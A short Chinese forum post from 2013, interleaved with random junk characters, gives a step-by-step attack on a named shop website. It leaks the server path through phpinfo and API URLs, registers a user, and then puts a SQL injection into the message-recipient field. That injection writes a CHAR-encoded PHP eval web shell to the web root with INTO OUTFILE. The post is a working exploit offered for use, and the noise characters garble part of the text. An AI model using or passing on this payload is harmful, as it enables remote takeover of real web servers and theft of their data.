第一个：想办法找到目标网站的绝对路径! Q& s+ E7 a2 X. ]* A/ ?
' I% i% T* |2 w5 S. z# d1 e) r
http://www.political-security.com/install/svinfo.php?phpinfo=true
! U9 {9 N) g" ~$ y4 t" s& j" p8 D$ L: T& s: R
http:/www.political-security.com/core/api/shop_api.php/ ~: q: _+ l/ v& t% O i
6 V( B& z( A! A/ ]3 y% L8 A
http://www.political-security.co ... api_b2b_2_0_cat.php
! U. H4 |! h6 m- i" q; X7 f3 i4 X: L. v7 S( Q
http://www.political-security.com/core/ap ... b_2_0_goodstype.php7 P6 k5 x$ Z# h' G% ?4 ~
S; Y& J: J# \9 M; U7 yhttp://www.political-security.co ... i_b2b_2_0_brand.php8 F$ C2 l5 P+ y6 p: M6 e) I
第二个：注册一个普通用户/ j# Y5 f4 M2 C( b3 Y* C. b
; F; s; {4 [" g4 K6 E0 x' W) I+ n" o
http://www.political-security.com/?passport-signup.html
) x% ?' e7 F+ v
- x' k2 a1 |- h- ^7 y第三个： 发送消息
& `6 u4 |% i* b4 J. t: N* H, L/ }* S0 w3 B; C
http://www.political-security.com/?member-send.html
# P4 k8 | m C+ V' N5 f发送给中填写
; s6 @. {' W9 C5 F& D2 \+ Bantian365.com' union select CHAR(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 39, 35, 39, 93, 41, 59, 63, 62) into outfile 'E:/zkeysoft/www/x.php' # |
发表于 2013-2-27 21:28:28
收藏
支持
反对